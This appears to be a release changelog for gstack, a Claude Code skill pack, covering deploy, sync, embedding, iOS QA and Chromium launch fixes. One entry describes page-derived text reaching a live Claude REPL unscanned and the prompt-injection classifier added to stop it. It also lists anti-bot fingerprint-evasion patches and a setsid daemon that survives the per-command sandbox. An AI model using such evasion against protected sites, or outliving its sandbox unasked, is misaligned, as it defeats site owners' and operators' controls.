gh pr merge exits non-zero in /land-and-deploy Skill stops, deploy never runs — but the PR may already be MERGED server-side (concurrent merge, or local cleanup phase failed after the merge succeeded) New §4a-postfail check queries gh pr view --json state,mergeCommit after any non-zero exit. MERGED → record merge SHA, offer non-destructive worktree cleanup with uncommitted-work guard, continue to §4a CI watch. OPEN → probe autoMergeRequest. CLOSED → STOP. Hard rule: never retry gh pr merge. Original diff by @davidfoy via PR #1620, re-authored into the .tmpl so the next gen:skill-docs doesn't overwrite the fix.

gstack-config slash command in Claude Code /gstack returned "Unknown command" because the root SKILL.md had name: gstack but no slash alias registered Setup registers a _gstack-command Claude wrapper pointing at the root SKILL.md, preserving name: gstack for discovery. Survives gstack-relink after skill_prefix flips. Closes #1543. Contributed by @jbetala7 via PR #1577.

bun run scan-secrets on Windows command -v gitleaks not available in cmd.exe PATH — probe treats gitleaks as missing even when it's installed Probes via execFileSync('gitleaks', ['--version']) instead of command -v. Closes #1545. Contributed by @jbetala7 via PR #1546.

gstack-artifacts-url accepting github.com or garrytan as a repository Validator passed host-only or owner-only inputs as repos; downstream code emitted broken URLs Rejects with a clear error when the path component isn't <owner>/<repo>. Closes #1597. Contributed by @jbetala7 via PR #1598.

/qa on Ubuntu with AppArmor blocking unprivileged Chromium sandboxing /qa hangs at launch — kernel denies the unprivileged user namespaces Chromium needs, even for normal users GSTACK_CHROMIUM_NO_SANDBOX=1 opt-in env override forces the sandbox off without changing the default for everyone else. Headed-launch sandbox-on-Linux-dev behavior from v1.42.2.0 preserved. Original diff by @techcenter68 via PR #1562, rebased onto the shouldEnableChromiumSandbox() helper that landed in v1.42.2.0.

gstack browse server inside Claude Code's per-command Bash sandbox, Conductor, or CI step runners Bun.spawn().unref() removes the child from Bun's event loop but doesn't call setsid(). The session leader's exit SIGHUPs every PID in the session — the browse server (and its Chromium grandchildren) die before the next command runs macOS/Linux spawn routes through Node's child_process.spawn with detached:true, which calls setsid(). Server becomes its own session leader (PPID=1) and survives the spawning shell's exit. Windows path unchanged (was already correct via Node-via-Bun launcher). Contributed by @bharat2913 via PR #1612.

GSTACK_CHROMIUM_PATH pointing at a custom Chromium build, headless launch Custom-build path didn't apply to headless launch(), only headed launchPersistentContext(). Headless callers fell back to the bundled Chromium isCustomChromium() guard mirrored to the headless launch path. Custom Chromium honored everywhere. Contributed by @shohu via PR #1614.

$D design generate on a slow OpenAI response Default 60s timeout times out before gpt-image-1 finishes the larger generations Bumped to 240s and pinned gpt-image-2 (which is markedly faster than gpt-image-1 for the same quality). Closes #1519. Contributed by @matteo-hertel via PR #1586.

bin/gstack-gbrain-lib.sh _gstack_gbrain_validate_varname on macOS shells Default locale (en_US.UTF-8) makes case [A-Z_] glob brackets match lowercase letters too — lower_case passes validation, then trips printf -v "$varname" with "not a valid identifier" the caller can't distinguish from other failures local LC_ALL=C pin gives ASCII-only bracket semantics on macOS and Linux. Plus local scoping so the pin doesn't mutate the caller's locale. Contributed by @andrey-esipov via PR #1606.

Coverage

Three new regression test files for the silent-failure trio, plus three coverage-gap tests for community PRs without their own coverage, plus one schema-regression update and one golden-baseline refresh:

test/regression-1624-retro-stale-base.test.ts — 13 static invariants pinning all four pre-check branches + ordering + disclosure-to-narrative

test/regression-1611-gbrain-sync-resume.test.ts — 19 tests: 10 on resolveStageTimeoutMs (bounds, non-numeric, ranges), 6 on decideResume (no checkpoint, corrupt JSON, staging present/missing, dir-less checkpoint), 3 static invariants on SIGTERM preservation order

test/regression-1539-review-self-verify.test.ts — 12 tests: resolver text + all four named FP classes + framework-meta nudge + deferred-design-doc reference + propagation to all four downstream SKILL.md consumers + existing confidence rule unchanged

test/gbrain-lib-validate-varname.test.ts — 8 tests: uppercase/digit/underscore accepted, lowercase rejected (the macOS-locale FP), mixed-case rejected, LC_ALL=C scoping local

browse/test/cli-setsid-daemonize.test.ts — 4 static invariants: nodeSpawn imported, non-Windows uses nodeSpawn with detached:true + unref, comment documents setsid/SIGHUP, no Bun.spawn on macOS/Linux

test/land-and-deploy-postfail.test.ts — 12 tests: §4a-postfail present, ordering before §4a, gh upstream bug refs, all three state branches, merge-SHA capture, non-destructive worktree cleanup, hard "never retry" rule, atomic regen propagation

test/gstack-gbrain-detect-mcp-mode.test.ts — schema regression updated for new gbrain_pooler_mode key from PR #1591

test/fixtures/golden/{claude,codex,factory}-ship-SKILL.md — regenerated to match the verification-gate text now baked into ship/SKILL.md via the resolver pipeline

test/learnings-injection.test.ts — aligned with PR #1619's tagged-line shape (SLUG env var no longer needed inside bun block)

Every wave-touched test file passes in isolation. Cross-file pollution in bun test full-suite mode remains pre-existing and is documented (v1.42.0.0 CHANGELOG).

What this means for builders

If you run /retro on a Conductor branch that's been around for a few days, the skill no longer fabricates a confident retro narrative against a stale window — it tells you the window is stale and asks you to verify today's date or re-fetch. If you sync a big brain (~2000+ files), interrupted runs resume from processedIndex+1 on the next /sync-gbrain instead of restaging from scratch every time. If you use /review on a Django/Rails/SQLAlchemy/TypeORM/Sequelize/Prisma repo, framework-shape false positives drop because the reviewer is forced to quote the line that motivates each finding before it lands in the report. If you're on Ubuntu/AppArmor, GSTACK_CHROMIUM_NO_SANDBOX=1 unblocks /qa. If you run gstack inside Claude Code's per-command sandbox or Conductor's worktree harnesses, the browse server survives the spawning shell's exit via setsid. Pull and run /gstack-upgrade; no migration needed.

Itemized changes

Added

scripts/resolvers/confidence.ts (extended) — Pre-emit verification gate consumed by review, cso, plan-eng-review, and ship via the preamble pipeline. Reuses the existing confidence < 7 → suppress rule rather than inventing new mechanism.

bin/gstack-gbrain-sync.ts (new exports: resolveStageTimeoutMs, readGbrainCheckpoint, decideResume) — env-driven timeouts with bounds (60_000-86_400_000ms); resume detection that reuses gbrain's own ~/.gbrain/import-checkpoint.json as the source of truth.

bin/gstack-memory-ingest.ts (new private: stagingDirIsCheckpointed) — SIGTERM handler now preserves the staging dir when gbrain has written a checkpoint pointing at it. Honors GSTACK_INGEST_RESUME_DIR so the orchestrator can hand the child an existing staging dir to resume against.

retro/SKILL.md.tmpl (new Step 0.5) — stale-base + bad-today-anchor pre-flight guard. Four ordered pre-check branches.

land-and-deploy/SKILL.md.tmpl (new §4a-postfail) — Post-failure PR-state check; never retries gh pr merge after non-zero exit.

browse/src/browser-manager.ts (extended shouldEnableChromiumSandbox) — GSTACK_CHROMIUM_NO_SANDBOX=1 opt-in override.

Six new regression test files plus three coverage-gap tests (see Coverage above).

Changed

bin/gstack-gbrain-sync.ts:runCodeImport — --full now runs sync --strategy code (the page-creating walk) before reindex-code (re-embed only). Honors the "full walk + reindex" contract for both fresh and populated sources. Contributed by @jetsetterfl via PR #1584.

lib/gbrain-local-status.ts:freshClassify — probe env routes through buildGbrainEnv so DATABASE_URL is seeded from ~/.gbrain/config.json and the result is cwd-independent. Contributed by @jetsetterfl via PR #1583.

bin/gstack-gbrain-detect, lib/gbrain-exec.ts, sync-gbrain/SKILL.md.tmpl — PgBouncer transaction-mode pooler detection sets GBRAIN_PREPARE=true. Contributed by @mikeangstadt via PR #1591.

bin/gstack-gbrain-supabase-provision — rewrites transaction-mode pooler URL (port 6543) to session-mode (port 5432) for newly-provisioned Supabase projects. Contributed by @0xDevNinja via PR #1582.

bin/gstack-config — explain_level exposed in defaults table and active values list. Contributed by @jbetala7 via PR #1608.

bin/gstack-model-benchmark — argv parsing routes flag values and positional prompts correctly. Contributed by @jbetala7 via PR #1604.

bin/gstack-artifacts-url — rejects host-only or owner-only remotes. Contributed by @jbetala7 via PR #1598.

bin/gstack-learnings-search — cross-project search tags rows inline (current\t<line> vs cross\t<line>) so current-project entries are never hidden. Contributed by @jbetala7 via PR #1619.

setup, bin/gstack-relink — root gstack slash command alias registered via _gstack-command wrapper. Contributed by @jbetala7 via PR #1577.

lib/gstack-memory-helpers.ts — gitleaks probe via execFileSync('gitleaks', ['--version']) instead of command -v. Works on Windows cmd.exe. Contributed by @jbetala7 via PR #1546.

bin/gstack-gbrain-lib.sh:_gstack_gbrain_validate_varname — local LC_ALL=C pin gives ASCII-only bracket semantics on macOS shells. Contributed by @andrey-esipov via PR #1606.

browse/src/cli.ts — macOS/Linux daemonize routes through nodeSpawn(...) with detached:true (calls setsid()). Contributed by @bharat2913 via PR #1612.

browse/src/browser-manager.ts — isCustomChromium() guard mirrored to headless launch. Contributed by @shohu via PR #1614.

design/src/{evolve,generate,iterate,variants}.ts — image-gen timeout bumped to 240s; pinned gpt-image-2. Contributed by @matteo-hertel via PR #1586.

Fixed

/retro silent confidently-wrong output when today anchor drifts or origin/<default> is stale (#1624). Closed by Step 0.5 pre-flight guard.

/sync-gbrain --full SIGTERM at hardcoded 35min, no resume from gbrain's checkpoint (#1611). Closed by env-driven timeouts + checkpoint-reuse + SIGTERM staging preservation.

/review 50% FP rate on Django/Rails/SQLAlchemy repos when the FP class is "field/method doesn't exist on model" (#1539). Closed by pre-emit verification gate forcing every finding to quote the motivating line.

For contributors

Defer-doc artifact ~/.gstack-dev/plans/1539-framework-aware-review.md describes the multi-week framework-aware ORM verification extension (Django/Rails/SQLAlchemy detection, model-introspection helpers, migration-history-aware checks) intentionally deferred from this wave. Promote to active plan when v1.43.0.0 ships and a second high-volume FP report lands on a different framework, or a follow-up retro shows the lighter quoted-line gate doesn't deliver measurable FP reduction.

Wave shape preserved from Daegu pattern: ONE bundled PR with bisect commits, atomic squashed commits for .tmpl edit + gen:skill-docs regen pairs, intermediate verification checkpoints, original contributors credited in commit author + footer. See [[feedback_one_pr_fix_waves]] in agent memory.

[1.43.1.0] - 2026-05-21

Local gbrain PGLite now defaults to Voyage's code-specialized embedding model when VOYAGE_API_KEY is set.

Symbol search ranks implementation files above tests on real code queries.

gstack-driven PGLite installs now use voyage:voyage-code-3 (1024-dim) as the default embedding model when VOYAGE_API_KEY is in env. Falls back to gbrain's auto-selected provider chain (OpenAI text-embedding-3-large 1536-dim when OPENAI_API_KEY is set, etc.) when the Voyage key is absent. The switch hits 3 PGLite init sites in /setup-gbrain (Step 1.5 broken-db rollback, Path 3 direct PGLite, Step 4.5 split-engine local code index) and the post-install hint in bin/gstack-gbrain-install. Two new test files pin the contract: a free deterministic test that runs the template's voyage-gate shell against a fake gbrain to verify argv across VOYAGE_API_KEY set/unset/empty, and a real Voyage integration test (skips without the API key) that runs gbrain init + sync --strategy code against a sandbox PGLite to catch dimension mismatches, silent embedding failures, and provider adapter regressions.

The numbers that matter

Source: head-to-head A/B against voyage-4-large on this codebase using gbrain query --no-expand (pure vector retrieval, no LLM expansion). 10 realistic code queries, a mix of symbol lookups, semantic intent, and design questions.

Surface voyage-4-large voyage-code-3 Δ

Strict wins (right impl file beats test file) — 4 +4

Ties (same top hit) 5 5 0

Losses 0 0 0

Top-1 confidence (avg) 0.84 0.90 +0.06

Cost per 1M tokens $0.18 $0.18 0

Query voyage-4-large top hit voyage-code-3 top hit

ownsTerminalAgent terminal-agent-integration.test.ts (test) terminal-agent.ts (impl)

ServerConfig terminal-agent teardown ownership pair-agent-e2e.test.ts killDaemon (loose match) terminal-agent.ts disposeSession

unicode sanitization at server egress sanitize.test.ts server-node.mjs sanitizeReplacer

how does websocket auth use Sec-WebSocket-Protocol no results terminal-agent.ts buildServer

The win pattern is exactly what voyage-code-3 advertises: surfacing implementation source over tests when the query is a code concept. Cost is unchanged from voyage-4-large at $0.18 per 1M tokens. A full reindex of a 100K-LOC repo runs about $0.20.

What this means for builders

If you have VOYAGE_API_KEY set and run /setup-gbrain on a fresh machine, gbrain code-def, code-refs, and semantic queries against your worktree now rank real implementation files above test fixtures with consistently higher confidence. No flag to pass, no config to edit. Existing brains keep whatever embedding model they were built with. The new default only applies to fresh inits. If you re-run /setup-gbrain on a machine that already has an OpenAI 1536-dim brain at ~/.gbrain/brain.pglite/, the config rewrite triggers a column-dim mismatch that gbrain doctor will flag clearly. Recovery is mv ~/.gbrain/brain.pglite ~/.gbrain/brain.pglite.bak && gbrain init --pglite --embedding-model voyage:voyage-code-3 --embedding-dimensions 1024 followed by a fresh /sync-gbrain.

Itemized changes

Added

test/gbrain-init-voyage-code-3.test.ts — 5 deterministic tests covering the voyage-gate shell semantics + a template-shape invariant that asserts the gate appears at exactly 3 PGLite init sites

test/gbrain-sync-voyage-code-3-integration.test.ts — 4 tests (1 always-on guard, 3 voyage-gated) running real gbrain init --pglite --embedding-model voyage:voyage-code-3 + sync --strategy code against a sandbox PGLite, asserting embeddings round-trip, doctor reports no dimension mismatch, and code-def finds symbols in the embedded fixture. Skips when VOYAGE_API_KEY or gbrain CLI is absent

Changed

setup-gbrain/SKILL.md.tmpl — 3 PGLite init sites (Step 1.5 broken-db rollback, Path 3 direct, Step 4.5 split-engine) now gate --embedding-model voyage:voyage-code-3 --embedding-dimensions 1024 on VOYAGE_API_KEY. Falls back to gbrain's auto-selected provider chain when unset

sync-gbrain/SKILL.md.tmpl — 2 manual repair hints (D12 missing-engine, D4 corrupted-config) suggest the voyage flags with the same fallback pattern

bin/gstack-gbrain-install — post-install "Next:" hint shows the voyage flags when the key is set, prints a tip about setting the key when absent

USING_GBRAIN_WITH_GSTACK.md — Path 3 docs explain the embedding model selection and the A/B rationale

CLAUDE.md — drops the obsolete ~/.zshrc grep+eval recipe for API keys; points at the GSTACK_* env-shim (lib/conductor-env-shim.ts) as the canonical answer. Keeps the Agent SDK env: {...} gotcha for tests

Regenerated

setup-gbrain/SKILL.md, sync-gbrain/SKILL.md — refreshed via bun run gen:skill-docs --host all after the template edits

[1.43.0.0] - 2026-05-20

iOS QA on a real iPhone — no XCTest, no WebDriverAgent, no simulators.

Verified end-to-end on a real iPhone 17 Pro Max running iOS 26.5; any agent that speaks HTTP can run full QA against a real iOS app, locally over USB or remotely over Tailscale.

Five new skills (/ios-qa, /ios-fix, /ios-design-review, /ios-clean, /ios-sync) bring the fork from time-attack/gstack into upstream with the hardening it needed to actually ship. The architecture's load-bearing insight: drop XCTest, drop the simulator, drop WebDriverAgent. Embed an HTTP server in the iOS app under test, drive it from a Mac-side bun daemon over the USB CoreDevice IPv6 tunnel. The agent reads your Swift source, codegens typed @Observable accessors via a SwiftPM swift-syntax tool (with a TS fallback for fast first-runs), deploys a debug bridge, and runs a closed find→fix→verify loop. With the optional --tailnet flag, the Mac daemon also binds Tailscale and accepts authenticated remote calls — your Mac plus an iPhone you already own becomes the iOS QA surface for any agent on your tailnet.

Two Mac-side CLIs ship alongside the skills: gstack-ios-qa-daemon brokers traffic between the agent and the connected iPhone, and gstack-ios-qa-mint is the owner-grant tool for the tailnet allowlist (grant / revoke / list). The full end-to-end walkthrough lives at docs/howto-ios-testing-with-gstack.md.

SwiftUI Buttons synthesized-tap support: on iOS 18+ the hit-test resolves through _UIHitTestContext and walks up to SwiftUI.UIKitGestureContainer (a UIResponder that isn't a UIView). The KIF-derived DebugBridgeTouch Objective-C target passes that responder through to UITouch.setView: directly, mirroring KIF PR #1323. Verified live: counter went 0 → 4 across four POST /tap requests on a real iPhone 17 Pro Max running iOS 26.5.

The numbers that matter

Source: 81 daemon unit/integration tests + 20 codegen tests + 8 high-level E2E tests + the real-iPhone smoke run (commit cf65bb05), all reproducible from the fixture at test/fixtures/ios-qa/FixtureApp/.

Surface Fork as-is Shipped

StateServer bind 0.0.0.0:9999, zero auth ::1 + 127.0.0.1 only; bearer-token gate; boot token rotates within ~5s of daemon spawn so anything scraping os_log past then sees a dead credential

SwiftUI Button taps on iOS 18+ synthesized taps silently dropped (hit-test walks past SwiftUI.UIKitGestureContainer because it isn't a UIView) DBT_HitTestView returns the responder as-is and UITouch.setView: accepts it; verified live on iOS 26.5

Release-build safety none (any #if DEBUG mistake ships the bridge) structural Package.swift .when(configuration: .debug) + CI swift build -c release invariant test that fails if the DebugBridge symbol appears

SPM package shape one target, missing the Obj-C touch synth implementation entirely three drop-in product targets — DebugBridgeCore (Swift, cross-platform), DebugBridgeTouch (Obj-C, iOS-only, KIF-derived), DebugBridgeUI (Swift, iOS-only); the consuming app adds one dependency on DebugBridgeUI and gets the rest transitively

Codegen failure modes covered regex breaks on computed properties, generics, multi-line types swift-syntax AST (production), strict TS regex fallback for tests; 3 dedicated fixtures pin the known failure shapes

Multi-agent device contention none per-device session lock with sliding timeout on mutations only; concurrent /session/acquire race test

Remote control not in scope Tailscale identity-gated /auth/mint; capability tiers (observe/interact/mutate/restore); 1h default session TTL (24h cap); audit log of every authenticated mutating request; hashed-identity attempts log; gstack-ios-qa-mint CLI is the explicit allowlist surface

Hardcoded paths 3 /Users/sinmat/.gstack/... paths none — all paths use $HOME / os.homedir()

Test coverage none 109 tests covering session-lock concurrency, snapshot/restore atomicity with schema-hash gate, identity canonicalization (user / tag / node-key), capability tier enforcement, rate limits, body-size limits, boot-token leak proofs, tailnet fail-closed probe, CoreDevice tunnel reconnect plumbing, cache-key composite (Swift version + tool git rev + source content + platform triple), and the new launcher CLIs (gstack-ios-qa-daemon + gstack-ios-qa-mint) end-to-end

What this means for iOS developers

You can ship a SwiftUI app, add the DebugBridge SPM dep, run /ios-qa, and watch an agent drive your phone — taps, swipes, state writes, the whole loop. The "Driven by Claude Code" overlay confirms the device is agent-controlled in real time. Hand the box to a colleague over Tailscale and they can run QA from their laptop without touching the device. The Mac-side daemon enforces capability tiers, so the contractor who only needs to take screenshots can't write state; the CI runner that needs to set up a test scenario can do so without being able to call /state/restore. The audit log gives you per-request forensics. The structural Release-build guard means the bridge cannot ship to TestFlight even if a developer forgets /ios-clean.

[1.42.2.0] - 2026-05-20

Headed Chromium stops shipping the yellow --no-sandbox infobar, and Cmd+Q on the managed window stops triggering the supervisor respawn loop.

Two launch-path bugs land together with the missing exit-code wiring that made the second fix actually take effect end-to-end.

Two browse-side launch-path fixes bundle into one PATCH wave on top of v1.42.1.0. The yellow --no-sandbox infobar that appeared on every headed launch is gone at all three launch sites: launch(), launchHeaded() / launchPersistentContext(), and handoff() now share shouldEnableChromiumSandbox() so Playwright stops auto-adding --no-sandbox when the sandbox is actually wanted. Cmd+Q on the managed Chromium window now exits the browse server with code 0 instead of 2, so process supervisors (gbrowser's gbd HealthMonitor) treat it as user intent and skip the restart loop. The exit-code path threads end-to-end: the disconnect handler resolves clean-vs-crash from the underlying ChildProcess, BrowserManager.onDisconnect accepts an exitCode arg, and server.ts's shutdown callback forwards it ((code) => activeShutdown?.(code ?? 2)). A regression test pins the full propagation path so a refactor that drops the forward fails CI before the user-visible respawn bug returns.

The numbers that matter

Source: bun test browse/test/browser-manager-unit.test.ts — 17 tests, all green. The new BrowserManager.onDisconnect exit-code propagation describe block pins the signature and the server.ts forwarding callback shape; the existing shouldEnableChromiumSandbox and resolveDisconnectCause blocks pin platform/env and clean-vs-crash behavior.

Surface Before After

Headed launch on macOS / Linux dev Yellow --no-sandbox warning infobar on every tab Infobar gone — all 3 launch sites share shouldEnableChromiumSandbox()

Linux root / Docker / CI headed launch Sandbox off (kernel can't engage it), no infobar (already correct) Same; sandbox correctly off, helper makes the policy explicit

Windows headed launch Sandbox off (GitHub #276 Bun→Node chain) Same; the policy is preserved by shouldEnableChromiumSandbox() returning false

Cmd+Q on managed headed Chromium Server exits 2; gbrowser's gbd HealthMonitor treats as crash; window respawns 1s → 2s → 4s backoff Server exits 0; gbd reads "user intent", no respawn

SIGKILL / SIGSEGV / OOM on Chromium Server exits 2 (headed) / 1 (headless + handoff); supervisors restart on backoff Same; crash-recovery preserved bit-for-bit

BrowserManager.onDisconnect signature (() => void | Promise<void>) | null — caller cannot pass the resolved exit code ((exitCode?: number) => void | Promise<void>) | null — caller forwards the code through

server.ts shutdown callback wiring Hardcoded activeShutdown?.(2) ignored any computed exit code (code) => activeShutdown?.(code ?? 2) forwards 0 when computed, falls back to 2

What this means for builders

If you run browse headed on macOS or Linux dev, the yellow --no-sandbox warning is gone. If you use gbrowser and Cmd+Q the managed window, the window stays closed instead of popping back on exponential backoff. Container, root, and CI environments still get sandbox off (correct, kernel can't engage it there). The exit-code contract for supervisors is now: 0 means user-initiated clean quit, 2 means a real crash. Crash-recovery is preserved across launch() (headless, crash → 1), launchHeaded() (headed, crash → 2), and handoff() (headless→headed re-launch, crash → 1). Pull and your next headed launch is clean.

Itemized changes

Fixed

browse/src/browser-manager.ts — headed launchPersistentContext() calls in launchHeaded() and handoff() now pass chromiumSandbox, so Playwright stops auto-adding --no-sandbox on every headed launch. Headless launch() switches to the same helper for consistency.

browse/src/browser-manager.ts — disconnect handlers in launch() (headless), launchHeaded() (headed), and handoff() (headless→headed re-launch) now resolve clean vs crash from the underlying Chromium ChildProcess exitCode + signalCode (with a 1s wait for an asynchronous exit event), and exit with 0 on clean user-quit vs the legacy non-zero code on crash.

browse/src/browser-manager.ts — BrowserManager.onDisconnect signature widened to ((exitCode?: number) => void | Promise<void>) | null, and the headed disconnect handler now passes the resolved exitCode through (this.onDisconnect(exitCode)). Without this wiring the clean code computed inside launchHeaded() was dropped on the floor and the headed server still exited 2.

browse/src/server.ts:688 — onDisconnect shutdown callback now forwards the resolved exit code ((code) => activeShutdown?.(code ?? 2)). The ?? 2 preserves legacy crash semantics for callers that invoke onDisconnect without a code.

Added

browse/src/browser-manager.ts (new exports) — shouldEnableChromiumSandbox() centralizes the Win32 / CI / CONTAINER / root heuristic that previously lived only in the headless path's explicit --no-sandbox push; resolveDisconnectCause(browser) resolves clean-vs-crash from the Chromium ChildProcess; handleChromiumDisconnect(browser) is the dispatcher for the headless launch() path.

browse/test/browser-manager-unit.test.ts — 6 tests pinning shouldEnableChromiumSandbox across darwin / linux / win32 / CI / CONTAINER / root; 7 tests pinning resolveDisconnectCause across already-exited / async-exit / SIGSEGV / SIGKILL / null-browser; 2 tests pinning the new onDisconnect(exitCode) propagation contract including the server.ts forwarding callback shape. 17 tests total.

[1.42.1.0] - 2026-05-19

Embedder PTY teardown stops clobbering — gbrowser's phoenix overlay survives every shutdown.

buildFetchHandler gains an explicit ownership flag for terminal-agent files; CLI behavior preserved bit-for-bit.

browse/src/server.ts factory shutdown unconditionally killed the terminal-agent and unlinked its discovery files on every teardown. Correct for gstack's CLI path, wrong for embedders that pass their own pre-launched BrowserManager and run their own PTY server. Their terminal-port file got clobbered every cycle, /health.terminalPort reported null until the overlay rewrote it. gbrowser's phoenix overlay shipped a client-side mitigation; with this PR landed, that mitigation becomes redundant. The new ServerConfig.ownsTerminalAgent?: boolean (default true) gates the three teardown side effects together: pkill -f terminal-agent\.ts, safeUnlinkQuiet(<stateDir>/terminal-port), safeUnlinkQuiet(<stateDir>/terminal-internal-token). Embedders pass false to keep their PTY lifecycle intact.

The numbers that matter

Source: bun test browse/test/server-embedder-terminal-port.test.ts browse/test/server-factory.test.ts — 32 tests, all green. Static-grep test pins the CLI start() call site so a refactor that drops the explicit : true fails CI.

Surface Before After

gbrowser phoenix overlay teardown terminal-port unlinked every cycle; /health.terminalPort: null until overlay rewrites; client-side mitigation required Pass ownsTerminalAgent: false — files untouched, embedder owns full lifecycle

gstack CLI shutdown pkill + 2 unlinks fire Identical (default true, explicit : true at start() call site documents intent + static-grep test)

Test runner safety n/a spawnSync stubbed in all 4 cases so real pkill -f terminal-agent\.ts cannot run on developer machine

Multi-case shutdown tests Module-scoped isShuttingDown silently no-ops 2nd shutdown New __resetShuttingDown test-only export mirrors __resetRegistry precedent

Real-daemon collision risk Test mutates ~/.gstack/.../terminal-port — would clobber a running developer daemon beforeAll saves real contents, afterAll restores; tests safe to run while gstack is alive

What this means for builders

If you embed gstack's buildFetchHandler and run your own PTY server, pass ownsTerminalAgent: false in your cfg and your terminal-port/terminal-internal-token files survive every gstack teardown — no more client-side rewrite mitigation. If you use the gstack CLI, nothing changes. The flag is the third caller-owned teardown gate in ServerConfig (joining xvfb? and proxyBridge?); if a fourth appears we collapse to an ownership object.

Itemized changes

Added

ServerConfig.ownsTerminalAgent?: boolean in browse/src/server.ts (default true). JSDoc enumerates all three gated side effects, the pkill regex breadth caveat, and the polarity inversion vs xvfb?/proxyBridge? (which gate by presence of caller-owned handles)

__resetShuttingDown() test-only export in browse/src/server.ts, mirroring __resetRegistry precedent in token-registry.ts. JSDoc warns about production-import footgun

browse/test/server-embedder-terminal-port.test.ts (4 tests): ownsTerminalAgent: false preserves files + skips pkill, explicit true deletes + invokes pkill, unset defaults to true, static-grep test asserts CLI call site documents intent. Tests save+restore real-daemon terminal-port/terminal-internal-token contents in beforeAll/afterAll so a running developer session is never clobbered

Changed

buildFetchHandler JSDoc references the new field alongside beforeRoute and browserManager in the embedder-composition paragraph

CLI start() call site explicitly passes ownsTerminalAgent: true with a comment pointing at cli.ts:1037-1063. Documents intent + caught by the new static-grep test if a refactor drops it

Strict opt-out semantics: cfg.ownsTerminalAgent === false ? false : true — only explicit false flips the gate. Defends against JS callers bypassing TS and passing truthy non-bool values

Removed

Dead try { safeUnlinkQuiet(...) } catch {} wrappers inside the new gate. safeUnlinkQuiet already swallows all errors internally; the outer try/catch was slop-scan flagged dead code

For contributors

Followup TODOs filed in TODOS.md: identity-based terminal-agent kill (replace pkill -f with PID-tracked process.kill), the pre-existing shutdown() reads module-level config (composition gap with parallel chromiumProfile gap), and the 4th-gate-collapse-to-ownership-object trigger

Plan + reviews under ~/.gstack/projects/garrytan-gstack/: autoplan CEO + Eng dual voices (Codex + Claude subagent), interactive /plan-eng-review (D3: drop dead try/catch), /ship adversarial pass (strict-bool + JSDoc hardening + test save/restore)

[1.42.0.0] - 2026-05-19

Daegu wave: 23 community-filed bugs land as one bisect-clean PR with the documented sidebar security stack finally enforced.

Every full-page screenshot stops bricking the vision API at 2000px, the Windows installer stops failing on Bun shell parsing, /codex review works on Codex CLI 0.130+, and the L4 prompt-injection classifier actually runs.

The biggest single wave since v1.18: 24 bisect commits closing 14 distinct user-facing problems across compat, security, install, and screenshot surfaces. The PTY-injection scan path that CLAUDE.md described as "shipped" finally is shipped (#1370 was the gap codex found in its plan review). The Windows installer that's been broken since v1.34.2.0 builds cleanly again. /codex review against Codex CLI ≥0.130.0 stops erroring out at the argv-parser before the model runs. Design generation stops silently billing whatever OpenAI account happened to be in your cwd .env. Full-page screenshots stop hitting the Anthropic vision API 2000px-max-dim brick. Every PR/issue closed in this wave is named in the per-commit body with credit to the original reporter or contributor.

The numbers that matter

Source: git log v1.40.0.0..HEAD --oneline (24 commits) plus the test sweep in §"Coverage" below.

Surface Before After

Windows fresh ./setup from a clean checkout (Git Bash) bun run build exits with "Subshells with redirections not supported" on Bun 1.3.x; install bricked since v1.34.2.0 (#1538/#1537/#1530/#1457/#1561) scripts/build.sh runs POSIX-portable, gated by a new windows-setup-e2e.yml workflow that runs bun run build on every PR touching the install path

/codex review on Codex CLI 0.130.0+ argv-parser rejects codex review "PROMPT" --base <branch> as mutually exclusive (#1479); skill aborts before the model runs Diff scope moved into the prompt; --base dropped. Filesystem boundary preserved on every call (pinned by test/skill-validation.test.ts)

/sync-gbrain on gbrain v0.18-0.35 gbrain put_page (unknown command, renamed to put in 0.18); sources list --json shape changed to {sources:[...]} (0.20+); doctor schema_version: 2 dropped the engine field (0.25+) All three handled. Resolver instructions rewritten to canonical put <slug>; wrapped-shape parsing added; schema_v2 fallback to config.json

Full-page screenshot of a 5000px-tall page Silent base64 blob the Anthropic vision API rejects at 2000px max-dim — agent burns turns on a useless image (#1214) browse/src/screenshot-size-guard.ts downscales via sharp; warning to stderr; covered for snapshot.ts + meta-commands.ts + write-commands.ts

Sidebar Cleanup / Inspector "Send to Code" PTY injection Zero classifier coverage — page-derived text went straight to the live claude REPL bypassing every documented L1-L4 layer (#1370 gap) POST /pty-inject-scan endpoint, Node sidecar process hosting the L4 classifier, extension pre-scan via gstackScanForPTYInject, static AST invariant test gating future regressions

Codex plugin installed alongside gstack as a skill gstack-paths trusted CLAUDE_PLUGIN_DATA set by the Codex plugin; all checkpoints, analytics, learnings landed in the wrong directory (#1569) Guarded by CLAUDE_PLUGIN_ROOT matching "gstack"; falls through to $HOME/.gstack for skill installs

$D design generate inside someone else's project with their OPENAI_API_KEY in .env Silent billing of that project's OpenAI account (#1248) requireApiKey() reports the source (~/.gstack/openai.json vs env var); warns when the env-var path matches a cwd .env* file; never echoes the key itself

codex review exits non-zero (parse error, arg break, model API error) Calling agent sees no output, reads as silent stall, burns 30-60min misdiagnosing (#1327) elif [ "$_CODEX_EXIT" != "0" ] block at all four invocation sites surfaces [codex exit N] <stderr first line> plus 20 lines of context

Anti-bot stealth (GStack Browser SannySoft pass rate) Default minimum (webdriver-mask only) — fingerprint-consistent but not enough for protected sites Opt-in GSTACK_STEALTH=extended adds six detection-vector patches (webdriver delete-from-prototype, WebGL spoof, PluginArray, chrome shape, mediaDevices, CDP cdc cleanup) for 100% SannySoft pass; default mode unchanged

Coverage

Every bisect commit ships its own unit tests. Three commits also add static invariant tests that fail the build on regression:

test/extension-pty-inject-invariant.test.ts — extension PTY inject must be scan-gated

test/resolvers-gbrain-put-rewrite.test.ts — generated SKILL.md must not contain gbrain put_page

test/memory-ingest-no-put_page.test.ts — gstack-memory-ingest.ts argv must never include "put_page"

Wave-touched tests when run in isolation: 92/92 pass. The 23 failures observed in bun test full-suite mode are pre-existing test-pollution between files (one test mutates env vars another depends on) and exist on v1.40.0.0 too — none traced to this wave.

What this means for builders

If you ship gstack on Windows, fresh installs work again — the build chain that's been broken for five releases is now POSIX-portable. If you use /codex review, the argv break on Codex 0.130+ is fixed and the filesystem boundary is preserved on every call. If you sync gbrain across machines, v0.18-0.35 all work with no manual intervention. If you use the GStack Browser sidebar's Cleanup button or Inspector "Send to Code", page-derived text now passes through the L4 classifier before reaching the live REPL — and if you opted into extended stealth mode, your SannySoft pass rate goes to 100%. If you've been billing the wrong OpenAI account silently, you'll now see the source disclosure on every $D run.

Itemized changes

Added

